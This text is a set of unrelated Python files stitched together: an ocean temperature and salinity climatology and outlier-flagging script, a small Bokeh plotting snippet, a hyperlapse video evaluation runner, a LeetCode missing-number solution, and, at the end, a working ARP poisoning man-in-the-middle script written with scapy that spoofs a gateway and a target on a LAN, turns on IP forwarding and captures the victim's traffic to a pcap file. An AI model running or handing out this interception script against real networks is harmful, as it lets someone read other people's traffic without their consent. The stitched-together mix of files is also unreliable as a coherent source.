import xarray as xr
import netCDF4 as nc
import numpy as np
import time as tt
import warnings
import os
import math
import pfile_tools as p
import pandas as pd
from scipy import stats,interpolate
import matplotlib
matplotlib.interactive(True)
import matplotlib.pyplot as plt

#######################################################################################
'''

Determine data records which are outliers (both spatially and temporally)
The spatial factor needs to consider the distance between data points

There will be some human-decided factors that need to be kept track of for this method

'''
#######################################################################################

#Background info
source = 'combined'
variable_name = 'instrument_ID' #reference the header info

#Meshgrid lat/lon
#Define lat and lon on a constant grid across years
#According to the BIO_CLIMATE data paper latmin=35,latmax=80,lonmin=-100,lonmax=-42
dc = 1
x = np.arange(-100, -42, dc)
y = np.arange(35, 80, dc)
lon, lat = np.meshgrid(x,y)

#Cycle through each year
years = np.arange(1912,2022+1)

for i in np.arange(years.shape[0])[:]:

	#Load in the specific data
	path = '/gpfs/fs7/dfo/dpnm/joc000/Data/AZMP/Data_Input/NetCDF_Gen/empties_duplicates/empties/'
	ds = xr.open_dataset(path+str(years[i])+'.nc')
	ds_time = np.array(ds['time.month'])
	ds_lons = np.array(ds.longitude)
	ds_lats = np.array(ds.latitude)
	ds_temp = np.array(ds.temperature)
	ds_saln = np.array(ds.salinity)
	ds.close()

	#Create an empty array for all the binned measurements
	temp_3D = np.full((12,2000,y.shape[0]-1,x.shape[0]-1),np.nan)
	saln_3D = np.full((12,2000,y.shape[0]-1,x.shape[0]-1),np.nan)

	#Cycle through each of the months present
	for ii in np.unique(ds_time):

		#Cycle through each depth:
		for iii in np.arange(2000):

			#Determine if any temperature measurements are present at this depth
			if np.isnan(ds_temp[:,iii][ds_time == ii]).all():
				None #No measurements present at this depth during this month

			else:
				#Bin the temperatures into the pre-defined latitudes and longitudes for specific months
				warnings.simplefilter("ignore", category=RuntimeWarning)
				place1 = stats.binned_statistic_2d(
					ds_lons[ds_time == ii],
					ds_lats[ds_time == ii],
					ds_temp[:,iii][ds_time == ii],
					np.nanmean,
					bins=[lon[0,:],lat[:,0]]
					).statistic

				#Record in the binned temperature
				temp_3D[ii-1,iii,:,:] = place1.T

			#Determine if any salinity measurements are present at this depth
			if np.isnan(ds_saln[:,iii][ds_time == ii]).all():
				None #No measurements present at this depth during this month

			else:
				#Bin the salinity into the pre-defined latitudes and longitudes for specific months
				warnings.simplefilter("ignore", category=RuntimeWarning)
				place1 = stats.binned_statistic_2d(
					ds_lons[ds_time == ii],
					ds_lats[ds_time == ii],
					ds_saln[:,iii][ds_time == ii],
					np.nanmean,
					bins=[lon[0,:],lat[:,0]]
					).statistic

				#Record in the binned salinity
				saln_3D[ii-1,iii,:,:] = place1.T

	#Save the temperature and salinity for each month
	#Cycle through each month to save
	for ii in np.arange(1,12+1):

		#Save the monthly climatology mean and stdv in a .nc format
		path = '/gpfs/fs7/dfo/dpnm/joc000/Data/AZMP/Data_Input/NetCDF_Gen/empties_duplicates/climatology/'

		#Write a new .nc file
		nc_out = nc.Dataset(path+\
			'climatology_'+str(years[i])+'-'+"%.2d" % ii+'.nc','w')

		#File information
		nc_out.Conventions = 'CF-1.6' #Ask Fred what this means
		nc_out.title = 'Gridded Mean temperature, NetCDF_Gen'  #Temporary title for the .nc file
		nc_out.institution = 'Northwest Atlantic Fisheries Centre, Fisheries and Oceans Canada'
		nc_out.source = 'https://github.com/jn533213/AZMP_Fred/blob/main/Trial2_RData.py'
		nc_out.references = 'Fill later'
		nc_out.description = 'A binned-temperature test by jonathan.coyne@dfo-mpo.gc.ca'
		nc_out.history = 'Created ' + tt.ctime(tt.time())

		#Create dimensions
		time = nc_out.createDimension('time', None)
		level = nc_out.createDimension('level', 2000)
		longitude = nc_out.createDimension('longitude', x.size-1)
		latitude = nc_out.createDimension('latitude', y.size-1)

		#Create coordinate variables
		times = nc_out.createVariable('time', np.float64, ('time',))
		levels = nc_out.createVariable('level', np.int32, ('level',))
		latitudes = nc_out.createVariable('latitude', np.float64, ('latitude',))
		longitudes = nc_out.createVariable('longitude', np.float64, ('longitude',))

		#Create the temperature and salinity variables
		temp = nc_out.createVariable(
			'temperature',
			np.float64,
			('time','level','latitude','longitude'),
			zlib=True, fill_value=-9999)
		saln = nc_out.createVariable(
			'salinity',
			np.float64,
			('time','level','latitude','longitude'),
			zlib=True, fill_value=-9999)

		# Variable Attributes
		latitudes.units = 'degree_north'
		longitudes.units = 'degree_east'
		times.units = 'hours since 1900-01-01 00:00:00'
		times.calendar = 'gregorian'
		levels.units = 'dbar'
		levels.standard_name = "pressure"
		levels.valid_min = 0
		temp.units = 'Celsius'
		temp.long_name = "Water Temperature" # (may be use to label plots)
		temp.standard_name = "sea_water_temperature"
		saln.units = 'psu'
		saln.long_name = 'Salinity'
		saln.standard_name = 'Salinity'

		#Save the temperature and salinity
		temp[0,:,:,:] = temp_3D[ii-1]
		saln[0,:,:,:] = saln_3D[ii-1]

		#Convert to time stamps
		months = np.datetime64(str(years[i])+'-'+"%.2d" % ii)
		time_stamps = pd.Timestamp(months).to_pydatetime()

		times[:] = nc.date2num(time_stamps, units=times.units, calendar=times.calendar)
		levels[:] = np.arange(2000)
		latitudes[:] = y[:-1]
		longitudes[:] = x[:-1]

		nc_out.close()

	print(str(years[i])+' done.')

#Cycle through each month and determine the mean,stdv
#Best to reset the code here or you might run into memory issues
path = '/gpfs/fs7/dfo/dpnm/joc000/Data/AZMP/Data_Input/NetCDF_Gen/empties_duplicates/climatology/'
for i in np.arange(1,12+1):
	ds = xr.open_mfdataset(path+'climatology_*-'+"%.2d" % i+'.nc')

	#Determine the monthly average over the entire time period
	ds_mean = ds.mean('time')
	ds_stdv = ds.std('time')

	ds_mean.to_netcdf(path+'finished/climatology-mean-'+"%.2d" % i+'.nc')
	ds_mean.close()
	ds_stdv.to_netcdf(path+'finished/climatology-stdv-'+"%.2d" % i+'.nc')
	ds_stdv.close()
	ds.close()
	print(str(i)+' done.')

#######################################################################################
'''

This section of the script will flag outliers according to the previously calculated
climatology.

The criteria is based off of Gregory D.N., 2004 and UNESCO 1990. Note that the
methods are not followed exactly as we do not go through the previous methods set
by UNESCO 1990.

Also, a sloppy landmask is made from HadISST in order to determine the distance of
casts to land. Might be better to use a bathymetry data set but it's fine for now...

How best to implement the outliers into the casts is still being discussed.
How many measurements in a cast should be flagged before the entire cast is removed?

'''
#######################################################################################

#Import the HadISST
path = '/gpfs/fs7/dfo/dpnm/joc000/Data/HadISST/'
ds = xr.open_dataset(path+'HadISST_sst.nc')

#Create the land mask - all nan values are land
land_mask = ds.sst[0].values
land_mask[~np.isnan(land_mask)] = 0.
land_mask[np.isnan(land_mask)] = 1.
land_mask[land_mask == 0.] = np.nan

#Determine all the land coordinates, Isolate for the North Atlantic
land_mask_lons,land_mask_lats = np.meshgrid(ds.longitude.values,ds.latitude.values)
land_mask_lons = (land_mask_lons*land_mask)[0:70,70:160]
land_mask_lats = (land_mask_lats*land_mask)[0:70,70:160]

land_mask_coords = np.array([
land_mask_lons.flatten()[~np.isnan(land_mask_lons.flatten())],
land_mask_lats.flatten()[~np.isnan(land_mask_lats.flatten())]
])
ds.close()

#Create a mask for outliers for each year
#Background info
source = 'netcdf_gen'
path = '/gpfs/fs7/dfo/dpnm/joc000/Data/AZMP/Data_Input/NetCDF_Gen/empties_duplicates/'

#Declare path to climatology data
path_clim = '/gpfs/fs7/dfo/dpnm/joc000/Data/AZMP/Data_Input/NetCDF_Gen/empties_duplicates/climatology/'

#Cycle through each year
for year in np.arange(1912,2022+1)[:9]:

	#Isolate the .nc data
	pfile = xr.open_dataset(path+'empties/'+str(year)+'.nc')
	time = np.array(pfile['time.month'])
	lons = np.array(pfile.longitude)
	lats = np.array(pfile.latitude)

	#Determine the distance to land for each cast
	distance_to_land = np.zeros(lons.size)
	R = 6373.0 #approx. radius of earth in km

	for i in np.arange(lons.size):

		#The distance is calculated using the Haversine Formula, https://andrew.hedges.name/experiments/haversine/
		lat1 = math.radians(lats[i]) #Coordinates of casts
		lat2 = np.radians(land_mask_coords[1,:]) #Coordinates of land
		lon1 = math.radians(lons[i])
		lon2 = np.radians(land_mask_coords[0,:])

		dlon = lon2 - lon1
		dlat = lat2 - lat1

		a = np.sin(dlat/2)**2 + np.cos(lat1)*np.cos(lat2)*np.sin(dlon/2)**2
		c = 2*np.arctan2(np.sqrt(a), np.sqrt(1 - a))

		distance_to_land[i] = np.min(c*R)

	#Define a mask for the temperatures and salinities
	clim_mask = {}

	#Cycle through each variable
	for i in ['temperature','salinity']:
		clim_mask[i] = np.zeros((time.size,pfile.level.size),dtype=bool)

		#Cycle through each month
		for ii in np.unique(time):

			month_filt = (pfile['time.month'] == ii).values
			#Load in the temperature or salinity data for the month
			var = pfile[i][month_filt].values

			#Import the corresponding climatology mean and stdv
			ds_mean = xr.open_dataset(path_clim+'finished/climatology-mean-'+"%.2d" % ii+'.nc')
			ds_stdv = xr.open_dataset(path_clim+'finished/climatology-stdv-'+"%.2d" % ii+'.nc')

			lon_mean,lat_mean = np.meshgrid(ds_mean.longitude.values, ds_mean.latitude.values)

			#Cycle through each level
			for iii in np.arange(pfile.level.size):
				#First, determine if the month is empty
				if var.size == 0:
					None #Skip it

				else:
					#Second determine if the level is empty
					if np.isnan(var[:,iii]).sum() == var.shape[0]:
						clim_mask[i][month_filt][:,iii] = False

					else:
						#Interpolate the gridded structure to the lat and lon locations for the month
						depth_filt = np.isnan(var[:,iii])
						mean = np.full(depth_filt.size,np.nan)
						stdv = np.full(depth_filt.size,np.nan)

						mean[~depth_filt] = interpolate.griddata(
							np.array((lon_mean.flatten(),lat_mean.flatten())).T,
							ds_mean[i][iii].values.flatten().T,
							(lons[month_filt][~depth_filt],lats[month_filt][~depth_filt])
							)
						stdv[~depth_filt] = interpolate.griddata(
							np.array((lon_mean.flatten(),lat_mean.flatten())).T,
							ds_stdv[i][iii].values.flatten().T,
							(lons[month_filt][~depth_filt],lats[month_filt][~depth_filt])
							)
						#Set 0 stdv to nan, issue with interpolate.griddata
						stdv[stdv <= 0] = np.nan

						#First isolate for casts within 1000km of land
						close_to_land = (distance_to_land < 1000)

						#Second, determine if the depth is less than 50m
						#If so, the climatology threshold is set at 5 times
						if iii <= 50:
							clim_mask[i][month_filt*(close_to_land),iii] = (np.abs(\
								var[close_to_land[month_filt],iii]-\
								mean[close_to_land[month_filt]]) > (\
								stdv[close_to_land[month_filt]]*5))

							#For all others, set at 3 stdv
							#Determine if the absolute anomaly is greater than 3*stdv
							clim_mask[i][month_filt*(~close_to_land),iii] = (np.abs(\
								var[~close_to_land[month_filt],ii]-\
								mean[~close_to_land[month_filt]]) > (\
								stdv[~close_to_land[month_filt]]*3))
						else:

							#If the depth is greater than 50m, always use 3*stdv
							clim_mask[i][month_filt,iii] = (np.abs(var[:,iii] - mean ) > (stdv*3))

			ds_mean.close()
			ds_stdv.close()

		#Change the clim_mask into a nan (true), 1 (false) mask
		clim_mask[i] = clim_mask[i].astype(float)
		clim_mask[i][clim_mask[i] == 1.] = np.nan
		clim_mask[i][clim_mask[i] == 0.] = 1.

		#If there are over a certain number of outlier measurements in the cast, the whole cast is discarded
		pfile[i] = pfile[i]*clim_mask[i]

	#If the number of outliers for a cast exceeds 10 in both the temp and saln, remove the whole cast
	num_of_outliers = {}
	for i in clim_mask.keys():
		num_of_outliers[i] = np.isnan(clim_mask[i]).sum(axis=1)
	pfile = pfile.sel(time=(num_of_outliers['temperature'] + num_of_outliers['salinity']) <= 10*2)

	#Flatten the values inside the string variables
	for ii in ['trip_ID','comments','instrument_ID','instrument_type','file_names']:
		pfile[ii] = pfile[ii].astype(str)

	#If the cast is now completely empty for both temp and saln, remove
	empty_casts = {}
	for i in clim_mask.keys():
		empty_casts[i] = np.isnan(pfile[i].values).sum(axis=1) == 2000
	pfile = pfile.sel(time=~(empty_casts['temperature']*empty_casts['salinity']))

	#Flatten the values inside the string variables
	for ii in ['trip_ID','comments','instrument_ID','instrument_type','file_names']:
		pfile[ii] = pfile[ii].astype(str)

	#Compress the variables for file size management
	comp = dict(zlib=True, complevel=5)
	encoding = {var: comp for var in pfile.data_vars}

	pfile.to_netcdf(path+'outliers/'+str(year)+'.nc',encoding=encoding)
	pfile.close()

	print(str(year)+' done.')

#TESTING AREA
'''
plt.pcolor(
	ds_mean.longitude.values,
	ds_mean.latitude.values,
	ds_mean.temperature[0].values)
data = plt.scatter(
	lons[month_filt],
	lats[month_filt],
	c=stdv,s=30,edgecolors='Black',cmap='Reds')
plt.colorbar(data)

plt.figure()
for i in np.arange(1,13):
	ds_mean = xr.open_dataset(path+'finished/netcdf_gen-mean-'+"%.2d" % i+'_climatology.nc')
	ds_stdv = xr.open_dataset(path+'finished/netcdf_gen-stdv-'+"%.2d" % i+'_climatology.nc')
	plt.subplot(4,3,i)
	plt.pcolor(ds_mean.temperature[1],vmin=0,vmax=20)
	plt.title(str(i))
	plt.colorbar()

#Use this code, along with the Figures/temporary data to determine stdv of outliers per cast
outliers_stdv = []

for year in np.arange(pfiles['time.year'].min(),pfiles['time.year'].max()+1):
	num_of_outliers = np.load('num_of_outliers-'+str(year)+'.npy')

	plt.figure()
	plt.hist(num_of_outliers,bins=np.arange(1,30))
	plt.title(str(year)+' histogram')
	plt.savefig('histogram_'+str(year)+'.png')
	plt.close()

	num_of_outliers.astype(float)[num_of_outliers == 0] = np.nan
	outliers_stdv.append(np.nanstd(num_of_outliers))
	print(str(year)+' done.')
'''


from bokeh.io.output import output_file
from bokeh.plotting import figure, output_file, show

if __name__ =="__main__":
    output_file('gaficado_simple.html')
    fig = figure()

    total_vals = int(input('Cuantos valores quieres graficar? '))
    x_vals = list(range(total_vals))
    y_vals = []

    for i in x_vals:
        val = int(input(f'Valor Y para {i}'))
        y_vals.append(val)

    fig.line(x_vals,y_vals, line_width = 2)
    show(fig)


from header import *
import scipy.stats

score_names_ref = [
    "emotion_similarity",
    "song_truncation",
    "video_truncation",
    "desired_speedup",
    "obtained_speedup",
    "video_smoothness",
    "video_shaking",
    "video_fidscore"
    ]

def calc_mean_ci(data,confidence=0.95):
    a = 1.0*np.array(data)
    n = len(a)
    m, se = np.mean(a), scipy.stats.sem(a)
    h = se*scipy.stats.t.ppf((1+confidence)/2.,n-1)
    m_f = round(m,global_round_numbs)
    sd_f =  round(np.std(a),global_round_numbs)
    ci_f = str(round(m,global_round_numbs))+" ± "+str(round(h,global_round_numbs))
    return m_f, sd_f, ci_f

def read_points_from_csv(points_csv):
    df = pd.read_csv(points_csv, header=None)
    song_points = []
    video_points = []
    song_fnam = df.iloc[0][0]
    video_fnam = df.iloc[0][1]
    len_sp_i = df.iloc[0][2]
    len_vp_i = df.iloc[0][3]
    for i in range(1,df.shape[0]):
        utils.show_progress("Reading points... ",i,df.shape[0])
        song_point = [0]*5
        video_point = [0]*6
        song_point[0] = int(df.iloc[i][0])
        song_point[1] = float(df.iloc[i][1])
        song_point[2] = float(df.iloc[i][2])
        song_point[3] = float(df.iloc[i][3])
        song_point[4] = float(df.iloc[i][4])

        video_point[0] = int(df.iloc[i][5])
        video_point[1] = float(df.iloc[i][6])
        video_point[2] = float(df.iloc[i][7])
        video_point[3] = float(df.iloc[i][8])
        video_point[4] = float(df.iloc[i][9])
        video_point[5] = str(df.iloc[i][10])

        song_points.append(song_point)
        video_points.append(video_point)

    return song_fnam, video_fnam, len_sp_i, len_vp_i, song_points, video_points

def generate_video(method_dir,opt_method):

    song_fnam, video_fnam, song_points, video_points = read_points_from_csv(method_dir+"points.csv")
    combiner.hypmaker.render_video(song_fnam,song_points,video_fnam,video_points,opt_method,method_dir,False)

def calc_method_scores(points_csv,scores_csv):

    song_fnam, video_fnam, len_sp_i, len_vp_i, song_points, video_points = read_points_from_csv(points_csv)

    emosim = evaluator.metrics.calc_emosim(song_points,video_points)
    sngtrc = evaluator.metrics.calc_sngtrc(song_points,len_sp_i)
    vidtrc = evaluator.metrics.calc_vidtrc(video_points,len_vp_i)
    desspd = evaluator.metrics.calc_desspd(len_sp_i,len_vp_i)
    obtspd = evaluator.metrics.calc_obtspd(video_points,len_vp_i)
    vidsmt = evaluator.metrics.calc_vidsmt(video_points)
    vidshk = evaluator.metrics.calc_vidshk(video_points)
    fidscr = evaluator.metrics.calc_vidfid(video_points,video_fnam)

    score_names = score_names_ref
    score_values = [emosim,sngtrc,vidtrc,desspd,obtspd,vidsmt,vidshk,fidscr]
    score_table = [score_names,score_values]

    (pd.DataFrame(score_table)).to_csv(scores_csv, index=None, header=False)

def calc_video_scores(video_dir,get_table=False):

    print("Generating video scores table...")

    opt_class_dict = combiner.optimizer.get_opt_class_dict()

    score_names = ["metric"]+score_names_ref
    score_table = []
    score_table.append(score_names)
    for opt_method in opt_class_dict:
        method_scores = [opt_method]
        for k in range(len(score_names_ref)):
            method_scores.append([])
        score_table.append(method_scores)

    if(global_video_songs_mode=="bests"):
        video_songs_csv = video_dir+"songs_sel.csv"
    elif(global_video_songs_mode=="fixed"):
        video_songs_csv = video_dir+"songs_fix.csv"
    df_sn = pd.read_csv(video_songs_csv, header=None)
    song_exists = False
    for i in range(df_sn.shape[0]):
        song_dir = video_dir+utils.path2fnam(df_sn.iloc[i][0])[:-4]+"/"
        if(os.path.exists(song_dir)):
            for j in range(1,len(score_table)):
                opt_method = score_table[j][0]
                method_dir = song_dir+opt_method+"/"
                ms_csv = method_dir+"scores.csv"
                if(os.path.exists(ms_csv)):
                    song_exists = True
                    df_ms = pd.read_csv(ms_csv)
                    for k in range(1,len(score_names)):
                        score_table[j][k].append(float(df_ms.iloc[0][k-1]))

    if(get_table==True):
        if(song_exists==True):
            return score_table
        else:
            return None

    score_table2 = []
    score_table2.append(score_table[0])
    score_table2.append(["method"]+(["mean","sd"]*len(score_names_ref)))
    for i in range(1,len(score_table)):
        sc_line = [score_table[i][0]]
        for j in range(1,len(score_table[i])):
            mean,sd,ci = calc_mean_ci(score_table[i][j])
            sc_line+=[mean,sd]
        score_table2.append(sc_line)
    score_table = score_table2

    scores_csv = video_dir+"scores.csv"
    (pd.DataFrame(score_table)).to_csv(scores_csv, index=None, header=False)

    for item in score_table:
        print(item)

def process_method(song_dir,video_fnam,song_fnam,opt_method):

    print("Running experiments for method "+opt_method)

    method_dir = song_dir+opt_method+"/"

    if not(os.path.exists(method_dir)):
        os.mkdir(method_dir)

    points_csv = method_dir+"points.csv"
    if not os.path.exists(points_csv):
        result = combiner.hypmaker.make_hyperlapse(video_fnam,song_fnam,opt_method,"points")
        song_points, video_points, len_sp_i, len_vp_i = result[0], result[1], result[2], result[3]

        if(len(song_points)!=len(video_points)):
            print("Error: Sizes mismatch, exiting.")
            exit()

        all_points_f = []
        all_points_f.append([song_fnam,video_fnam,len_sp_i,len_vp_i,-1,-1,-1,-1,-1,-1,-1])
        for i in range(len(song_points)):
            song_point = song_points[i]
            video_point = video_points[i]
            song_video_point = []
            for j in range(len(song_point)):
                song_video_point.append(song_point[j])
            for j in range(len(video_point)):
                song_video_point.append(video_point[j])
            all_points_f.append(song_video_point)

        (pd.DataFrame(all_points_f)).to_csv(points_csv, index=None, header=False)
    else:
        print("  Note: Using cache points")

    scores_csv = method_dir+"scores.csv"
    if not(os.path.exists(scores_csv)):
        calc_method_scores(points_csv,scores_csv)

    if(global_genvid_in_runner==True):
        generate_video(method_dir,opt_method)

def process_song(video_dir,video_fnam,song_fnam):

    print("Running experiments for song "+song_fnam)

    song_dir = video_dir+utils.path2fnam(song_fnam)[:-4]+"/"

    if not(os.path.exists(song_dir)):
        os.mkdir(song_dir)

    opt_class_dict = combiner.optimizer.get_opt_class_dict()

    for opt_method in opt_class_dict:
        process_method(song_dir,video_fnam,song_fnam,opt_method)

def process_video(evaluator_dir,video_fnam,songs_dir,clean_level=0):

    print("Running experiments for video "+video_fnam)

    video_dir = evaluator_dir+utils.path2fnam(video_fnam)[:-4]+"/"

    if(clean_level==3):
        opt = input("Do you really want to delete all the previous tables (y/n)? ")
        if(opt=="y"):
            if(os.path.exists(video_dir)):
                print("Note: Cleaning previous results")
                shutil.rmtree(video_dir)

    if(clean_level==2):
        file_list = []
        for root, dirs, files in os.walk(video_dir):
            for file in files:
                if(file=="points.csv" or file=="scores.csv" or file.endswith(".mp4")):
                    file_list.append(os.path.join(root, file))
        for fnam in file_list:
            if(os.path.exists(fnam)):
                os.remove(fnam)

    if(clean_level==1):
        file_list = []
        for root, dirs, files in os.walk(video_dir):
            for file in files:
                if(file=="scores.csv"):
                    file_list.append(os.path.join(root, file))
        for fnam in file_list:
            if(os.path.exists(fnam)):
                os.remove(fnam)

    if not(os.path.exists(video_dir)):
        os.mkdir(video_dir)

    print("  Selecting songs...")

    if(global_video_songs_mode=="bests"):
        video_songs_csv = video_dir+"songs_sel.csv"
        if not(os.path.exists(video_songs_csv)):
            profgen_v = combiner.profgen.profgen("video", 4,video_fnam,False,True)
            video_points = profgen_v.get_emotion_profile()
            video_points = combiner.hypmaker.preprocess_points(video_points,"v")
            songsim_list = combiner.hypmaker.calc_sims(video_fnam,video_points,songs_dir)
            (pd.DataFrame(songsim_list)).to_csv(video_songs_csv, index=None, header=False)
        else:
            print("  Note: Using cache selected songs")
    elif(global_video_songs_mode=="fixed"):
        video_songs_csv = video_dir+"songs_fix.csv"
        if not(os.path.exists(video_songs_csv)):
            fixed_songs_dir = audio_dataset_dir+"MSHP/Fixed/"
            ltmp1 = []
            for root, dirs, files in os.walk(fixed_songs_dir):
                for file in files:
                    if file.endswith(".mp3"):
                        ltmp1.append(os.path.join(root, file))
            songlen_list = []
            for sntmp1 in ltmp1:
                profgen_a = combiner.profgen.profgen("audio",64,sntmp1,False,False)
                sngpts = profgen_a.get_emotion_profile()
                songlen_list.append([sntmp1,len(sngpts)])
            (pd.DataFrame(songlen_list)).to_csv(video_songs_csv, index=None, header=False)
        else:
            print("  Note: Using cache selected songs")

    df = pd.read_csv(video_songs_csv, header=None)

    sel_songs = []
    for i in range(df.shape[0]):
        sel_songs.append(df.iloc[i][0])
    sel_songs = sel_songs[:global_songs_per_video]

    for song_fnam in sel_songs:
        process_song(video_dir,video_fnam,song_fnam)

    calc_video_scores(video_dir)

def run_experiments(video_fnam,clean):

    video_list = []

    if(os.path.isdir(video_fnam)):
        for root, dirs, files in os.walk(video_fnam):
            for file in files:
                if file.endswith(".mp4"):
                    video_list.append(os.path.join(root, file))
    else:
        video_list.append(video_fnam)

    for video_fnam in video_list:

        songs_dir = audio_dataset_dir + "MSHP/"

        evaluator_dir = cache_dir+"evaluator/"
        if not(os.path.exists(evaluator_dir)):
            os.mkdir(evaluator_dir)

        process_video(evaluator_dir,video_fnam,songs_dir,clean)

def create_full_table():

    evaluator_dir = cache_dir+"evaluator/"
    results_csv = evaluator_dir+"results.csv"

    if not(os.path.exists(evaluator_dir)):
        print("Results directory not exists, exiting")
        exit()

    video_dirs = [
        os.path.join(evaluator_dir, subdir+"/")
        for subdir in os.listdir(evaluator_dir)
        if os.path.isdir(os.path.join(evaluator_dir,subdir))
        ]

    full_table = []
    score_names_ref_p = []
    for item in score_names_ref:
        score_names_ref_p+=[item,""]
    full_table.append(["video","method"]+score_names_ref_p)
    full_table.append(["video","method"]+(["mean","sd"]*len(score_names_ref)))
    for video_dir in video_dirs:
        i=-2
        while(video_dir[i]!="/"):
            i-=1
        video_title = video_dir[i+1:-1]
        score_table = calc_video_scores(video_dir,True)
        if not(score_table is None):
            for i in range(1,len(score_table)):
                st_line = score_table[i]
                ft_line = [video_title]+st_line
                full_table.append(ft_line)

    opt_class_dict = combiner.optimizer.get_opt_class_dict()

    mean_scores = []
    for opt_method in opt_class_dict:
        mean_lists = []
        for i in range(len(score_names_ref)):
            mean_lists.append([])
        mean_scores.append(["Total",opt_method]+mean_lists)

    for i in range(2,len(full_table),len(opt_class_dict)):
        for j in range(i,i+len(opt_class_dict)):
            ft_line = full_table[j][0:2]
            for k in range(2,len(score_names_ref)+2):
                mean_scores[j-i][k] = mean_scores[j-i][k] + full_table[j][k]
                mean,sd,ci = calc_mean_ci(full_table[j][k])
                ft_line+=[mean,sd]
            full_table[j] = ft_line

    for i in range(len(mean_scores)):
        ft_line = mean_scores[i][0:2]
        for j in range(2,len(score_names_ref)+2):
            mean,sd,ci = calc_mean_ci(mean_scores[i][j])
            ft_line+=[mean,sd]
        full_table.append(ft_line)

    (pd.DataFrame(full_table)).to_csv(results_csv, index=None, header=False)

    for item in full_table:
        print(item)


# https://leetcode.com/problems/missing-number/
# tags: #array, #blind_75_must_do, #hash_table, #math, #top_interview_questions, #sorting
#
# Solution 1: One pass
# Add up the differences between the current index number and the index itself,
# eventually subtract it from the length of the array, we can get the missing number from which the difference occurs
# Time complexity: O(n), Space complexity: O(1)
#
# Solution 2: XOR
# A number XOR itself will become 0, any number XOR with 0 will stay unchanged.
# So if every number from 1...n XOR with itself except the missing number, the result will be the missing number.
# Time complexity: O(n), Space complexity: O(1)
#
# Solution 3: Binary Search
# Sort the array and simply validate that middle index is equal to the middle number
# Time complexity: O(n*log(n)), Space complexity: O(1)
from typing import List

class Solution:
    def missingNumber(self, nums: List[int]) -> int:
        diff = 0

        for i, num in enumerate(nums):
            diff += num - i

        return len(nums) - diff

    def missingNumber_xor(self, nums: List[int]) -> int:
        res = len(nums)
        for i, num in enumerate(nums):
            res ^= i
            res ^= num
        return res

    def missingNumber_bs(self, nums: List[int]) -> int:
        nums.sort()
        left, right = 0, len(nums) - 1

        while left <= right:
            middle = (left + right) // 2
            if nums[middle] > middle:
                right = middle - 1
            else:
                left = middle + 1
        return left

if __name__ == "__main__":
    sol = Solution()

    assert sol.missingNumber_bs(nums=[9, 6, 4, 2, 3, 5, 7, 0, 1]) == 8
    assert sol.missingNumber_bs(nums=[1, 0]) == 2


from scapy.all import *
import os
import signal
import sys
import threading
import time

#Parametros del programa
gateway_ip = "192.168.252.1"
#target_ip = "192.168.253.149"
target_ip = "192.168.252.93"
packet_count = 0
interface = "wlp2s0"

#Configuracion inicial
conf.iface = interface
conf.verb = 0

#Descripcion: Dada una direccion IP, obtiene la direccion MAC. Lo que hace es hacer un ARP Broadcast
#y recibe una respuesta ARP con la dirección MAC.
#Entrada:   Direccion IP
#Salida:    Direccion MAC
def get_mac(ip_address):
    #Armo una request de tipo ARP. Esta request se la paso a la funcion sr, que lo que hace es enviar y recibir paquetes
    #de capa 3
    ret = None
    resp, unans = sr(ARP(op=1, hwdst="ff:ff:ff:ff:ff:ff", pdst=ip_address), retry=2, timeout=10)

    for s,r in resp:
        print("entre")
        if(ret == None):
            ret =  r[ARP].hwsrc
    return ret

#Restaura la red revirtiendo el envenenamiento de ARP. Lo que hace es Hacer un broadcast ARP con la
#direccion MAC e IP correctas.
#Entradas:  Direccion IP del gateway, Direccion MAC del gateway, Direccion IP del objetivo, Direccion MAC del objetivo
#Salida:    void
def restore_network(gateway_ip, gateway_mac, target_ip, target_mac):
    send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=gateway_ip, hwsrc=target_mac, psrc=target_ip), count=5)
    send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=target_ip, hwsrc=gateway_mac, psrc=gateway_ip), count=5)
    print("[*] Deshabilitando IP forwarding")
    #Deshabilito el redireccionamiento de red de la pc mia.
    os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
    #mato el proceso del script
    os.kill(os.getpid(), signal.SIGTERM)

#Sigo enviando respuestas de ARP falsas para poner mi pc en el medio.
#Entrada:   Direccion IP del gateway, Direccion MAC del gateway, Direccion IP del objetivo, Direccion MAC del objetivo
#Salida:    void
def arp_poison(gateway_ip, gateway_mac, target_ip, target_mac):
    print("[*] Empezado el ataque ARP poisoning [CTRL-C para parar]")
    try:
        while True:
            send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip))
            send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip))
            time.sleep(2)
    except KeyboardInterrupt:
        print("[*] Se detuvo el ataque ARP poison. Restaurando la red...")
        restore_network(gateway_ip, gateway_mac, target_ip, target_mac)

#Inicio el script
print("[*] Comenzando Script: arp_poison.py")
print("[*] Habilitando IP Forwarding")
#Habilito el redireccionamiento de red en mi pc
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
print(f"[*] Gateway IP: {gateway_ip}")
print(f"[*] Target IP : {target_ip}")

#Obtengo la direccion MAC del gateway
gateway_mac = get_mac(gateway_ip)
if gateway_mac is None:
    print("[!] No es posible obtener la dirección MAC de la gateway. Saliendo..")
    sys.exit(0)
else:
    print(f"[*] Direccion MAC de la gateway: {gateway_mac}")

#Obtengo la direccion MAC de la maquina objetivo
target_mac = get_mac(target_ip)
if target_mac is None:
    print("[!] No es posible obtener la dirección MAC del objetivo. Saliendo..")
    sys.exit(0)
else:
    print(f"[*] Direccion MAC del objetivo: {target_mac}")

#Inicio el hilo que hace el envenenamiento ARP
poison_thread = threading.Thread(target=arp_poison, args=(gateway_ip, gateway_mac, target_ip, target_mac))
poison_thread.start()

#Leo el trafico y lo escribo en el archivo pcap
try:
    #Seteo un filtro que sea donde obtengo los paquetes que tienen como ip host la maquina objetivo
    sniff_filter = "ip host " + target_ip

    print(f"[*] Comenzando captura de paquetes. Cantidad de paquetes: {packet_count}. Filter: {sniff_filter}")
    packets = sniff(filter=sniff_filter, iface=conf.iface, count=packet_count)  # Aca queda loopeando

    #Escribo los paquetes (la cantidad que haya seteado en los parametros de configuracion)
    #que intercepto a un archivo pcap
    wrpcap(target_ip + "_capture.pcap", packets)

    print(f"[*] Deteniendo la captura de paquetes.. Restaurando red..")
    restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
except KeyboardInterrupt:
    print(f"[*] Se detuvo la captura de red.. Restaurando red..")
    #Una vez que presiono ctrl + c restauro la red a su estado inicial
    restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
